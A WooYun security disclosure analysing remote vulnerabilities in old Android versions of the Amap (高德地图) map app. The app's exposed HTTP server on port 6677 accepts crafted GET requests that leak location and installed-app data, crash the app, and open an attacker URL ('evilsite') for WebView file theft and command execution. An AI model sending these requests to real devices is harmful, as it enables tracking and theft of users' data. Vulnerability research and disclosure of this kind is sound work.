WooYun.org

0x01 概述
高德地图是一款装机量极大的地图应用，在各大应用市场的下载量均达到千万级别。但其Android版本（6.5.3-7.2.6）存在一系列远程命令执行漏洞，利用这个漏洞攻击者可以远程获取手机的敏感信息，实现对高德地图的拒绝服务，获取高德地图私有目录下的敏感文件，并远程执行命令。
0x02漏洞描述
以下分析针对官网正式版，版本号7.2.5.2050。
1. 漏洞原理
com.amap.api.service.AMapService中，可以看到高德地图app实现了一个小型的HTTP Server，该Server在tcp的6677端口监听，当请求满足一定条件时可以返回敏感信息，并根据请求消息执行一系列动作。
见run方法

设置HTTP响应

请求满足的条件包括：
（1）Referer为如下网址中的一个

（2）使用HTTP GET请求访问6677端口，并且形式为http://ip:6677/command?param1=value1&...&paramn=valuen
command为getpackageinfo、androidamap、geolocation中的其一

以下分三种情况：
（1）当command为geolocation时，可返回安装高德地图的手机用户地理位置信息；
（2）当command为getpackageinfo时，默认返回高德地图app本身的版本信息。此时若指定参数param1为packagename,即请求http://ip:6677/getpackageinfo?packagename=xxx时（xxx为软件包名）可返回手机上安装的xxx所指定的任意软件包版本信息。值得注意的是，若xxx为android，可返回android系统版本信息；
（3）当command为androidamap时，可以造成远程拒绝服务、甚至可以在高德地图app中远程执行命令，我们着重分析此种情况。
此时需要指定参数param1为action,即请求http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen时，AMapService将设置一intent对象，其action为com.autonavi.minimap.Intent.Action，extra为{“method”:"androidamap","action","yyy","params","&param2=value2&...&paramn=valuen"}，然后将其广播出去。搜索com.autonavi.minimap.Intent.Action,可发现AmapActionBroadcastReceiver对其进行处理。见com.autonavi.map.intent.AmapActionBroadcastReceiver中的onReceive方法

OnReceive方法取出前面广播intent对象的extra，新建一个intent对象，设置intent uri为androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen，并以隐式intent的形式启动注册这种uri scheme的activiy.
在AnroidManifest文件中可发现，com.autonavi.map.activity.NewMapActivity注册了data secheme为androidamap的Intent Filter，且data host可以为showTraffic、viewMap、indoorMap、myLocation、bus、arroundpoi、route、keywordNavi、viewReGeo、viewPOIDetail、shortUrl、discovery、hotelList、gropbuyList、movieList、groupbuyDetail、navi2SpecialDest、rootmap、openmap、openTrafficRemind、multiPointShow、navi、poi、openFeature。
至此，我们得出这样的结论，可以通过远程访问
http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen，启动目标ip中的com.autonavi.map.activity.NewMapActivity执行命令，其中yyy为上述data host中的任一。
2. 测试结果
对上述三种情况进行测试，归纳测试结果如下
HTTP GET请求 漏洞类型 漏洞造成的后果
http://ip:6677/geolocation? 敏感信息泄露 远程获取经纬度
http://ip:6677/getpackageinfo?packagename=xxx,其中xxx为软件包名 敏感信息泄露 远程获取xxx所指定的任意安装包信息
http://ip:6677/androidamap?action=showTraffice 远程命令执行 打开实时路况
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=indoorMap None None
http://ip:6677/androidamap?action=myLocation 远程命令执行 在地图中显示所处的位置
http://ip:6677/androidamap?action=viewMap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=bus 远程命令执行 打开公交搜索框
http://ip:6677/androidamap?action=arroundpoi 远程命令执行 执行搜索
http://ip:6677/androidamap?action=route 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=keywordNavi None None
http://ip:6677/androidamap?action=viewReGeo None None
http://ip:6677/androidamap?action=viewPOIDetail None None
http://ip:6677/androidamap?action=shortUrl None 提示当前版本不支持
http://ip:6677/androidamap?action=discovery None 提示当前版本不支持
http://ip:6677/androidamap?action=hotelList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=groupbuyList None 提示“当前版本不支持”
http://ip:6677/androidamap?action=navi2SpecialDest 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=rootmap None None
http://ip:6677/androidamap?action=openmap 远程拒绝服务 高德地图app停止运行
http://ip:6677/androidamap?action=openTrafficRemind None 提示当前版本不支持
http://ip:6677/androidamap?action=multiPointShow None 提示选择地图上的点
http://ip:6677/androidamap?action=navi None 打开在线导航
http://ip:6677/androidamap?action=nonexist 远程拒绝服务 app崩溃
注意上面最后一行，当action为以不存在的data host时，抛出空指针异常，导致远程拒绝服务，使高德地图app停止运行。另外，有些aciton也导致远程拒绝服务，我们推测主要是action后面缺少param参数，导致没有取到需要的intent extra，抛出空指针异常所致。
3. 当action为openFeature
严格来说，上面测试中的远程命令执行不算漏洞，因为没有对安全带来影响。下面我们单独讨论当远程HTTP GET请求访问http://ip:6677/androidamap?action=openFeature的情况，这种情况对安全影响最大，是真正的远程命令执行漏洞。
在com.autonavi.map.life.movie.view.MovieDetailHeaderView中，有以下代码

Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
                             + this.a.m.privilegeLink);
	Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), 
                            NewMapActivity.class);
	v1.setData(v0_2);
	v1.setFlags(268435456);
	MovieDetailHeaderView.c(this.a).startActivity(v1);

这表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

使安装高德地图app的手机访问攻击者所操纵的链接evilsite，进一步的测试表明，这里存在WebView的漏洞，可以利用实现：
1. 窃取私有目录下的敏感文件：远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件，按照恶意脚本的请求，窃取高德地图app私有目录下的敏感文件，包括手机IMEI、IMSI、MAC地址，登录token，突破android linux进程的访问控制；
2. WebView远程命令执行：存在可被网页中js操纵的接口jsinterface。由于高德地图针对的SDK版本较低（android:minSdkVersion="8"），在Android 4.4.2以下的手机，均可使用该接口，注入高德地图app进程执行命令。